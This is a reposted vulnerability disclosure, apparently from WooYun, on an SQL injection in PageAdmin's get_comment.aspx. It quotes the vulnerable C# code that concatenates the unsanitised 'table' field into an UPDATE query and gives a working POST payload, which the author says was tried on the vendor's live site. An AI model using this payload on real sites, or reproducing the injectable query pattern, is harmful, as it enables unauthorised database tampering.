记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

pageadmin SQL注入漏洞

2014-07-15 17:40

大量政府,学校,企业等网站使用该程序

gov.png



/e/aspx/get_comment.aspx



protected void Page_Load(Object src,EventArgs e)

{

string sql;

OleDbCommand comm;

Conn theconn=new Conn();

if(Request.Form["post"]=="add")

{

IsMember=Request.Form["ismember"];

if(IsMember=="0")

{

Md5 JM=new Md5();

if(Session["YZM"]==null)

{

Response.Write("yzm error");

Response.End();

}

else if(Request.Form["code"]!=Session["YZM"].ToString())

{

Response.Write("yzm error");

Response.End();

}

}

Table=Request.Form["table"];//获取参数

DetailId=Request.Form["id"];

string UserName=Request.Form["username"];

string Password=Request.Form["code"];

string Quote=Request.Form["quote"];

string Content=Request.Form["content"];

string Checked=Request.Form["checked"];

Checked=Checked=="0"?"1":"0";

string SiteId=Request.Form["siteid"];

LoginUserName="";

IP=GetClientIP();

if(Content=="" || !IsNum(Checked) || !IsNum(DetailId) || !IsNum(SiteId) || !IsNum(IsMember))

{

Response.Write("input error");

Response.End();

}

else

{

Check_Post();

conn=new OleDbConnection(theconn.Constr());

conn.Open();



//处理内容

Get_Set(int.Parse(SiteId));

Check_TimeLimit(); //检查时间间隔;

if(Comment_MaxLength!=0 && Content.Length>Comment_MaxLength)//检查最大字符

{

conn.Close();

Response.Write("maxleng_limit,"+Comment_MaxLength);

Response.End();

}

Check_Forbid(Content); //检查禁止关键字

Content=Replace_String(Content); //替换

UserName=Replace_String(UserName); //替换

//处理内容

if(IsMember=="1")//检查用户,,只有是1才检测,这就跳过检测了

{

if(Request.Cookies["Member"]!=null)

{

Member_Valicate MCheck=new Member_Valicate();

MCheck.Member_Check();

UserName=MCheck._UserName;

}

else

{

Check_Member(UserName,Password); //检查用户名和密码

}

}

sql="insert into pa_comments(site_id,thetable,[detail_id],[username],[content],[quote],[checked],[ip],thedate,[ismember]) values("+int.Parse(SiteId)+",'"+Sql_Format(Table)+"',"+int.Parse(DetailId)+",'"+Sql_Format(UserName)+"','"+Sql_Format(Content)+"','"+Sql_Format(Quote)+"',"+int.Parse(Checked)+",'"+IP+"','"+DateTime.Now+"',"+int.Parse(IsMember)+")";

comm=new OleDbCommand(sql,conn);

comm.ExecuteNonQuery();

sql="update "+Table+" set comments=comments+1 where id="+DetailId;//table存在注入

comm=new OleDbCommand(sql,conn);

comm.ExecuteNonQuery();

Response.Write(Checked);

conn.Close();

Response.End();

}

漏洞证明:

测试方法

我就用官网测试了

http://www.pageadmin.net/e/aspx/get_comments.aspx

POST 提交post=add&table=pa_comments set ip=1 where 1=1 and 1=user--&id=1&siteid=1&ismember=12&checked=1&content=1即可

1.png

修复方案:

过滤~


知识来源: www.wooyun.org/bugs/wooyun-2014-057235

阅读:228784 | 评论:0 | 标签:注入 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“pageadmin SQL注入漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤人人都能成为掌握黑客技术的英雄⛄️

ADS

标签云